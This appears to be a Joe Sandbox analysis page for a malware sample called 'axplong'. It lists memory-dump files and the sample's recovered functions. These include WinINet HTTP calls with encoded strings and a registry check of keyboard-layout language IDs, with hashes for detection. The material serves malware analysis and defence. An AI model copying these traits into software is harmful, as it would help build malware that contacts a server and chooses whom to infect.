Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID: puu2B7m$#$111$246122658369$FFNmLv==$FlpmMdzrTXUg$GlNgUSfi8Dy=$UD==$WGt=$WWp=$d4o$fed3aa$invalid stoi argument$stoi argument out of range
API String ID: 4241100979-2159025358
Opcode ID: 13428cff517f62587b6c3000836efd9355171ca63f4eca71096d997e407fcc32
Instruction ID: 781261ab2c86f04ce918e9dd94d53dca4e4a83d19ce17123305b712f2a0eb1b1
Opcode Fuzzy Hash: 13428cff517f62587b6c3000836efd9355171ca63f4eca71096d997e407fcc32
Instruction Fuzzy Hash: 45F22A71A001489BEF18EB38CD8979DBB77AF86304F5081ACE4059B7D6DB359E848F51

Function 0069BD60 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(006E8D70,00000000,00000000,00000000,00000000,B5D2C3CE,?,00000000), ref: 0069BDEC
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0069BE11
HttpOpenRequestA.WININET(?,00000000), ref: 0069BE5B
HttpSendRequestA.WININET(?,00000000), ref: 0069BF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 0069BFCC
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0069C081
InternetCloseHandle.WININET(?), ref: 0069C0A7
InternetCloseHandle.WININET(?), ref: 0069C0AF
InternetCloseHandle.WININET(?), ref: 0069C0B7

Strings

stoi argument out of range, xrefs: 0069E3FA
RHYTYv==, xrefs: 0069BE33
d4o, xrefs: 0069E2FF
8KG0fCKZFzY=, xrefs: 0069C385
8KG0fymoFx==, xrefs: 0069C2EB, 0069C543
invalid stoi argument, xrefs: 0069E404

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$d4o$invalid stoi argument$stoi argument out of range
API String ID: 1354133546-3464857776
Opcode ID: 0d22c4e80c81822f5333814e7957e139b996a2ea17d01848e1ad07d6eb28710d
Instruction ID: 063e8bce08b7b0929ccc386f6fcc78139720335674a042003d03f2ea321640f7
Opcode Fuzzy Hash: 0d22c4e80c81822f5333814e7957e139b996a2ea17d01848e1ad07d6eb28710d
Instruction Fuzzy Hash: B2B1E3B1A001189BEF28DF28CD84BAEBB6AEF45314F5041ADF50997681D7719EC4CF98

Function 00695F30 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 299
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0069608D
RegEnumValueW.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 0069617F

Strings

00000419, xrefs: 00695FA8
00000423, xrefs: 0069600A
0000043f, xrefs: 0069603B
Keyboard Layout\Preload, xrefs: 00695F64
00000422, xrefs: 00695FD9

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: dd424005206f560622ef1312f39f5f8e14d834832bf60faaa3d313a5250a1d62
Instruction ID: b4c16b00219197e9cd1dc84a3ae707161964f4f5a03f230e1219186801262aeb
Opcode Fuzzy Hash: dd424005206f560622ef1312f39f5f8e14d834832bf60faaa3d313a5250a1d62
Instruction Fuzzy Hash: 82C19C71900228AFDF24DB94CC98BDEB7BAAF05304F5042D9E009A7691DB74AFC88F51

Function 006D197C Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D1635: CreateFileW.KERNEL32(00000000,00000000,?,006D1A25,?,?,00000000,?,006D1A25,00000000,0000000C), ref: 006D1652

__dosmaperr.LIBCMT ref: 006D1A97
GetFileType.KERNEL32(00000000), ref: 006D1AA3
__dosmaperr.LIBCMT ref: 006D1AB6
__dosmaperr.LIBCMT ref: 006D1C5C

Strings

H, xrefs: 006D1BE1

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 65854a69f162a7a87b8c21e82873331d42b71a7b4ec2d9e383590ff1a8a79b9c
Instruction ID: 39b64d95c7d90ab44befcbb27c21455a8e08d2fe5e7b4bd8c873ccd689b7e5bd
Opcode Fuzzy Hash: 65854a69f162a7a87b8c21e82873331d42b71a7b4ec2d9e383590ff1a8a79b9c
Instruction Fuzzy Hash: E4A10532E141445FCF199F68D892BBE3BA3AB07324F28015EE811AF391DAB49D12CB55

Function 00697D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00697EA3

Strings

JmpxRL==, xrefs: 00698062
JmpyPb==, xrefs: 0069810A
JmpxQb==, xrefs: 006981B2

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: 29209c85d195c0cf1187470bce703e1b173a0d5253e5400197d6b7692fa82839
Instruction ID: 247bbe7b56460da07b372095e23ad8382841dec1986986a66033a439ccd58f3c
Opcode Fuzzy Hash: 29209c85d195c0cf1187470bce703e1b173a0d5253e5400197d6b7692fa82839
Instruction Fuzzy Hash: 9BD10671E006189BDF14BB28CC5A3AD7777AB42320F50429CE4166B7C2DB758F918BD6

